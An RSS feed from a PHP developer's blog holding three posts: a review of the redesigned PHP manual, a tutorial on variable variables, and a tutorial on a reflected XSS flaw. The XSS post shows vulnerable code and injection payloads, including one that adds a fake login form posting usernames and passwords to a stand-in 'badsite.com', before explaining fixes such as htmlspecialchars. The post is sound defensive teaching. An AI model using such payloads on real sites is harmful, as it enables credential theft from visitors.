<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Albert Fama &#187; documentation</title>
	<atom:link href="http://albertfama.com/tag/documentation/feed/" rel="self" type="application/rss+xml" />
	<link>http://albertfama.com</link>
	<description>Freelance Web Programmer - specializing in PHP &#38; MySQL</description>
	<lastBuildDate>Fri, 20 Nov 2009 16:06:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>PHP Manual gets facelift</title>
		<link>http://albertfama.com/php/php-manual-gets-facelift/</link>
		<comments>http://albertfama.com/php/php-manual-gets-facelift/#comments</comments>
		<pubDate>Thu, 29 Nov 2007 22:22:45 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[manual]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=42</guid>
		<description><![CDATA[Several weeks ago an announcement was made on php.net that the new documentation build system was ready for testing. The announcement encourages everyone to use and test the new system. I should have started using it then, just to help out and find bugs, but I glanced over the new manual and didn&#8217;t really give [...]]]></description>
			<content:encoded><![CDATA[<p>Several weeks ago an announcement was made on php.net that the <a href="http://php.net#2007-10-03-1"  title="php.net: Announcement">new documentation build system was ready for testing</a>. The announcement encourages everyone to use and test the new system. I should have started using it then, just to help out and find bugs, but I glanced over the new manual and didn&#8217;t really give it much thought. In the last several days I noticed that the php.net manual display had changed, which reminded me about the new manual, and have since switched. The new manual is located at: <a href="http://docs.php.net/manual/"  title="New PHP Manual">http://docs.php.net/manual/</a> (still in test).</p>
<p>First I would like to say that I like the look of the new manual; it seems cleaner with well defined areas. For example on a function description page the description, parameters, return values, errors/exceptions, and examples all appear in their own &#8216;box&#8217; (div tag) with a light blue background. This definitely makes it easier to locate what your look for and generally gives a nice presentation of the information.</p>
<p>My two gripes about the new manual are fairly petty. I think it is a case of &#8216;<a rel="nofollow" href="http://en.wikipedia.org/wiki/Who_Moved_My_Cheese%3F"  title="Wikipedia: Who Moved My Cheese?">Who moved my cheese</a>&#8216;, instead of actual issues with the manual.</p>
<p><strong>Gripe 1: There is too much spacing between items in the unordered lists.</strong></p>
<p>Looking at what I believe to be the CSS styling for the &#8216;li&#8217; tags, they have added a top and bottom padding of 3 pixels (6 pixels between each line). Although this makes for good separation between each item it also makes the pages longer and consequently more scrolling.</p>
<p><strong>Gripe 2: The new navigation system, specifically in two areas:</strong></p>
<ul>
<li>The index page of the manual. The <a href="http://www.php.net/manual/en/"  title="PHP Manual: index">old index page</a>, was basically like an extended table of contents. It listed the sections of the manual along with the major subsections. This was always my starting point. You may not find exactly what your looking for in the first click but you knew where you wanted to go. The <a href="http://docs.php.net/manual/en/manual.php"  title="New PHP Manual: index">new index page</a>, contains the list of sections in the left-hand navigation bar, but the page does not list any subsections. New users of the language I believe will find it more difficult to locate the information they need simply because they may not know exactly what their looking for. Now, of course, users already familiar with the language will still be able to find what there looking for but it will take more clicks to get where your going, specifically for the function reference section&#8230;</li>
<li>In the old manual when you viewed the <a href="http://www.php.net/manual/en/funcref.php"  title="Old PHP Manual: Function Reference">function reference</a> section you were presented with a long alphabetized list of groups of functions; Arrays, MySQL, Strings, etc. <a href="http://docs.php.net/manual/en/funcref.php"  title="New PHP Manual: Function Reference">Now</a> they have grouped the groups; array functions are listed below &#8216;Variable and Type Related Extensions&#8217;, string functions are listed below &#8216;Text Processing&#8217; and MySQL functions aren&#8217;t actually listed on the page, they are under &#8216;Database Extensions->Vendor Specific Database Extensions->MySQL&#8217;. Now I am all for more organization, but by grouping the groups the function reference is no longer alphabetized and the added clicks needed to get to the section you want I feel is not a bonus.</li>
<li style="list-style-type: none;">This also comes into play after you have chosen the section you want. For example, in the old manual you could be looking at the array functions, find what you need, and just leave the browser open to the array functions page while you went back to work. Then after a bit more work, if you needed to look at the string functions, you could simply click the &#8216;string&#8217; functions link in navigation bar and be there in one click. This is not possible in the new manual&#8230;Given the same situation you always need to go back to the main function reference page and start drilling down from there.</li>
</ul>
<p>I don&#8217;t want this to come off as a bashing of the new manual, these are minor issues and I probably just need to get used to the new setup. So now that you read my review, let us know what you think of the new manual.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=42">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/php-manual-gets-facelift/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Variable Variables</title>
		<link>http://albertfama.com/php/variable-variables/</link>
		<comments>http://albertfama.com/php/variable-variables/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 21:11:29 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[variable variables]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=36</guid>
		<description><![CDATA[It is a rare occurrence that I find an excuse to use variable variables, but when that situation arises they are not only helpful but also fun in a way. I have often heard beginning programmers say that they find the concept difficult to grasp. I believe the confusion doesn&#8217;t stem from understanding the concept [...]]]></description>
			<content:encoded><![CDATA[<p>It is a rare occurrence that I find an excuse to use variable variables, but when that situation arises they are not only helpful but also fun in a way. I have often heard beginning programmers say that they find the concept difficult to grasp. I believe the confusion doesn&#8217;t stem from understanding the concept itself; but from understanding when a variable variable would be beneficial. In this article I will attempt to dispel the myth by including real-world examples along with the basic information about variable variables.</p>
<p>One thing that should be mentioned before we begin, variable variables should be used sparingly. Their overuse can make scripts difficult to debug and confusing six months down the road when you decide to update or add functionality to your code. So before you use them make sure the problem your trying to solve warrants their use. (Hopefully the examples used in this article will give you the background to make that decision.)</p>
<p>We will begin by explaining what variable variables are. First let see what the PHP manual says a variable variable is:</p>
<blockquote><p><strong>PHP Manual:</strong><br />
A <a href="http://www.php.net/manual/en/language.variables.variable.php"  title="PHP Manual: Variable Variables">variable variable</a> takes the value of a variable and treats that as the name of a variable.</p></blockquote>
<p>Let&#8217;s see if we can add a little more to it&#8230; A variable variable, is created when two dollar signs ($$) are placed at the beginning of a variable name. The PHP engine interprets this to mean the value of the variable (which has two dollar signs in front of it) is the name of the variable which needs to be interpreted.</p>
<p>Not sure if that is any clearer, so lets go to some code so we can see it in action, then I&#8217;m sure everyone will understand. </p>
<pre name="code" class="php">
&lt;?php
$site = &quot;NULL&quot;;
$ring = &quot;NULL&quot;;
$plug = &quot;NULL&quot;;
&nbsp;
$entity_1 = &quot;site&quot;;
$entity_2 = &quot;plug&quot;;
$id_1     = 54;
$id_2     = 78;
&nbsp;
$$entity_1 = $id_1;
$$entity_2 = $id_2;
&nbsp;
echo &quot;site: &quot;.$site.&quot;&lt;br /&gt;&quot;;
echo &quot;ring: &quot;.$ring.&quot;&lt;br /&gt;&quot;;
echo &quot;plug: &quot;.$plug.&quot;&lt;br /&gt;&quot;;
?>
</pre>
<p>When this code is run it will print:<br />
<code>site: 54<br />
ring: NULL<br />
plug: 78<br />
</code><br />
Notice the two dollar signs ($$) in front of the second occurrence of the variables &#8216;entity_1&#8242; and &#8216;entity_2&#8242;, these are the variable variables. Since the value of the variable $entity_1 is &#8216;site&#8217; when PHP parses:</p>
<pre name="code" class="php">
$$entity_1 = $id_1;
</pre>
<p>it <em>reads</em>:<br />
<code>$site = $id_1;</code><br />
The same also happens for $$entity_2. </p>
<p>That&#8217;s it! That is what a variable variable is, nothing really ground breaking here. So the question is when should this <em>feature</em> of PHP be used?</p>
<p>First I have to admit that I have never run into a situation where variable variables are required to get the job done. I think it is very telling when the section on variable variables in the PHP Manual starts with the sentence:</p>
<blockquote><p>
Sometimes it is convenient to be able to have variable variable names.
</p></blockquote>
<p>The keyword here being: convenient (as in &#8216;not necessary&#8217;).</p>
<p>The most recent situation where I used variable variables was this:<br />
I was writing a function which managed the data in a database correlation table. The table had three columns: &#8216;site_id&#8217;, &#8216;ring_id&#8217;, and &#8216;plug_id&#8217;. </p>
<p>The function I was working on accepted the entity types and ids for two entities. Hence, the function declaration looked like this:
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
</pre>
<p>That function used another function which was responsible for actually inserting a record into the table and its declaration looked like this:</p>
<pre name="code" class="php">
function create($site_id,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ring_id,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plug_id)
</pre>
<p>The purpose of the function I was writing was to determine if a record existed for either entity in the db table, if so update the correlation, if not insert a new record. Variable variables came into play if a record needed to be inserted into the correlation table. </p>
<p>Once it was determined that a new record need to be inserted, I created three variables set to the column defaults (NULL): </p>
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
{
&nbsp;&nbsp;&nbsp;&nbsp;//check for record
&nbsp;&nbsp;&nbsp;&nbsp;if ($record) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//update and return
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$site = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ring = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$plug = &quot;NULL&quot;;
}
</pre>
<p>Without some checking the function did not &#8216;know&#8217; which ids it had. So to make things easier I decided to use variable variables and write the rest of the function like this:</p>
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
{
&nbsp;&nbsp;&nbsp;&nbsp;//check for record
&nbsp;&nbsp;&nbsp;&nbsp;if ($record) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//update and return
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$site = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ring = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$plug = &quot;NULL&quot;;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$$entity_1 = $id_1;
&nbsp;&nbsp;&nbsp;&nbsp;$$entity_2 = $id_2;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;return create($site, $ride, $plug);
}
</pre>
<p>Again variable variables were not needed in this situation I could have used &#8216;switch&#8217; or &#8216;if&#8217; statements to determine which entity types were sent, but I thought the use of variable variables was a cleaner option and quite frankly was faster to code.</p>
<p>BTW &#8211; If anyone has run into a situation where variable variables were required, please let me know I would love to hear about it.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=36">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/variable-variables/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Simple XSS Vulnerability</title>
		<link>http://albertfama.com/php/simple-xss-vulnerability/</link>
		<comments>http://albertfama.com/php/simple-xss-vulnerability/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 21:18:04 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[validation]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=37</guid>
		<description><![CDATA[I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use. &#60;input type="text" name="order" value="&#60;?php&#160;echo&#160;$_POST['order'];&#160;?&#62;" [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use.</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="&lt;?php&nbsp;echo&nbsp;$_POST['order'];&nbsp;?&gt;" /&gt;
</pre>
<p>Basically the question was: What is wrong with this code? I didn&#8217;t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP. </p>
<p>Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited.  It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.</p>
<p>OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>When the form is submitted the code will simply print: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>in the text box. </p>
<p>This is true, but the problem is; what happens when someone enters: </p>
<p>watch it grow&quot; size=&quot;100</p>
<p>When this value is printed in the text box, the browser &#8216;sees&#8217; the quote following: <strong>watch it grow</strong> and ends the &#8216;value&#8217; attribute. The browser then adds a &#8216;size&#8217; attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="watch it grow&quot; size=&quot;100" /&gt;
</pre>
<p>Now we know that simply adding a &#8221; (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:</p>
<p>click here&#8221; onclick=&#8221;alert(&#8216;hello&#8217;);</p>
<p>Now the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="click here" onclick="alert('hello');" /&gt;
</pre>
<p>After the form is submitted the value in the text box reads: <strong>click here</strong>. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: &#8216;hello&#8217;.</p>
<p>Taking this exploit one step further, with one final example.  The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the &#8216;value&#8217; attribute with the &#8221; (quote) and then add the end of the input tag: /&gt; and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let&#8217;s add:</p>
<pre name="code" class="html">
Fill out form completely" disabled/&gt;&lt;/form&gt;&lt;form method="POST" action="http://badsite.com"&gt;Username: &lt;input type="text" name="username"&gt;&lt;br/&gt;Password:&lt;input type="password" name="user_pass"&gt;&lt;br/&gt;&lt;input type="hidden" name="end_input" value="
</pre>
<p>With this code we start with: Fill out form completely&#8221;<br />
The &#8221; (quote) following the word &#8216;completely&#8217; will end the &#8216;value&#8217; attribute. </p>
<p>We then place: disabled/&gt;<br />
This will disable the &#8220;order&#8221; input and end the tag, now we are in the realm of adding HTML. </p>
<p>Next by adding: &lt;/form&gt;<br />
We have ended the form, and are able to create something new.</p>
<p>As you can see we have added our own form which submits the user&#8217;s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.</p>
<p>To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):</p>
<pre name="code" class="html">
&nbsp;&nbsp;&lt;input type="text" name="order" value="Fill out form completely" disabled/&gt;
&lt;/form&gt;
&lt;form method="POST" action="http://badsite.com"&gt;
&nbsp;&nbsp;Username:
&nbsp;&nbsp;&lt;input type="text" name="username"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;Password:
&nbsp;&nbsp;&lt;input type="password" name="user_pass"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;&lt;input type="hidden" value=""/&gt;
</pre>
<p>Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply <strong><em>NOT</em></strong> true, but you will have to do the research yourself if you still don&#8217;t believe that this is a security hole (or you have ideas of cracking a few sites. <img src='http://albertfama.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: <a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a>.</p>
<p><a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a> converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value=" &lt;?php&nbsp;echo&nbsp;htmlspecialchars($_POST['order']);&nbsp;?&gt; " /&gt;
</pre>
<p>This is only one way to &#8216;fix&#8217; the problem and may not work in all situations; some other methods of preventing an XSS attack are:</p>
<ul>
<li>Use an exclusion approach with <a href="http://us2.php.net/strip_tags"  title="PHP Manual: strip_tags()">strip_tags()</a>.</li>
<li>Use regular expressions to filter any data which may not have been caught by the built-in functions.</li>
<li>Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.</li>
</ul>
<p>I believe the best defense is a combination of a few different strategies.</p>
<p>XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: &#8220;PHP XSS exploits tutorials&#8221;. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=37">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/simple-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

